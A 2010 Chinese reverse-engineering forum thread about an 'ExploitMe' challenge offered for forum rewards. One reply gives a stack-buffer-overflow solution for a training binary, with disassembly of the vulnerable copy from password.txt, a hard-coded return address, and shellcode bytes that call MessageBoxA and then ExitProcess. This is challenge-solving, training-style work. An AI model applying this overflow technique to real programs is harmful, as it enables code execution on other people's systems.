whypro 发表于 2010-5-23 14:13:46

搞定这个ExploitMe

本帖最后由 whypro 于 2010-5-23 14:22 编辑

还有彩云,还有威望,还有飘云币。统统送出!
https://www.chinapyg.com/viewthread.php?tid=55440&extra=page%3D1

月之精灵 发表于 2010-5-23 16:37:15

好多的奖励,大家冲啊,哈哈

ltwell 发表于 2010-5-26 23:21:52

好多的奖励

anyone 发表于 2010-5-27 23:20:12

本帖最后由 anyone 于 2010-5-28 18:18 编辑

调了一下,基本理解。
给个处理返回的。在我的虚拟机XPSP3上正常。
00401090/> \55            push ebp
00401091|.8BEC          mov ebp,esp
00401093      81EC 48040000 sub esp,448
00401099|.53            push ebx
0040109A|.56            push esi
0040109B|.57            push edi
0040109C      8DBD B8FBFFFF lea edi,dword ptr ss:
004010A2|.B9 12010000   mov ecx,112
004010A7|.B8 CCCCCCCC   mov eax,CCCCCCCC
004010AC|.F3:AB         rep stos dword ptr es:
004010AE|.C745 FC 00000>mov dword ptr ss:,0
004010B5|.68 B0804200   push stack_ov.004280B0                   ; /rw+
004010BA|.68 A0804200   push stack_ov.004280A0                   ; |password.txt
004010BF|.E8 6C080000   call stack_ov.00401930                   ; \stack_ov.00401930
大体上是开1094个连续空间用来装Password.txe里的内容

0040101F      CC            int3
00401020/>55            push ebp
00401021|.8BEC          mov ebp,esp
00401023|.83EC 4C       sub esp,4C
00401026|.53            push ebx
00401027|.56            push esi
00401028|.57            push edi
00401029|.8D7D B4       lea edi,dword ptr ss:
0040102C|.B9 13000000   mov ecx,13
00401031|.B8 CCCCCCCC   mov eax,CCCCCCCC
00401036|.F3:AB         rep stos dword ptr es:
00401038|.68 1C804200   push stack_ov.0042801C                   ;1234567
0040103D|.8B45 08       mov eax,dword ptr ss:
00401040|.50            push eax
00401041|.E8 5A020000   call stack_ov.004012A0
00401046|.83C4 08       add esp,8
00401049|.8945 FC       mov dword ptr ss:,eax
0040104C|.8B4D 08       mov ecx,dword ptr ss:             ;(Initial CPU selection)
0040104F|.51            push ecx
开一个4C大小也就是76个连断空间其实我们只有8个就够了。1234567+NULL

004011B0   $57            push edi
004011B1   .8B7C24 08   mov edi,dword ptr ss:
004011B5   .EB 6A         jmp short stack_ov.00401221
004011B7      8D            db 8D
004011B8      A4            db A4
004011B9      24            db 24                                    ;CHAR '$'
004011BA      00            db 00
004011BB      00            db 00
004011BC      00            db 00
004011BD      00            db 00
004011BE      8BFF          mov edi,edi
004011C0/$8B4C24 04   mov ecx,dword ptr ss:
004011C4|.57            push edi
004011C5|.F7C1 03000000 test ecx,3
004011CB|.74 0F         je short stack_ov.004011DC
004011CD|>8A01          /mov al,byte ptr ds:
以上这断代码不全,总的就是做个交换数据。1906连断空间内的内容放到4C里。
结果就成这样了。
0012FB20   47595065
0012FB24   7FFA4512 //这是我们的返回地址。这是你构造好的。我就不改了。
0012FB28   6853DB33
0012FB2C   7070726F
0012FB30   79687768
0012FB34   53C48B6F
0012FB38   B8535050
0012FB3C   77D507EAuser32.MessageBoxA
0012FB40   CBE8D0FF
0012FB44   007C6ECF
0012FB48   CCCCCCCC
根据分析890abcdef内容是不有用处的,可以任意改。

大小是4C个空间就直接在后面加代码E8CBCF6E7C方便他退出,不出报错。
0012FB42    E8 CBCF6E7C   call kernel32.ExitProcess

whypro 发表于 2010-5-28 12:06:39

本帖最后由 whypro 于 2010-5-28 18:23 编辑

ls写的不错,兑现承诺给予pyb!

anyone 发表于 2010-5-28 18:31:11

得钱了哟~/:001

whypro 发表于 2010-5-28 18:37:16

呵呵 祝你玩的愉快!

[email protected] 发表于 2010-6-1 15:07:37

https://www.chinapyg.com/viewthread.php?tid=56813&extra=page%3D1

如何的说
页: [1]
查看完整版本: 搞定这个ExploitMe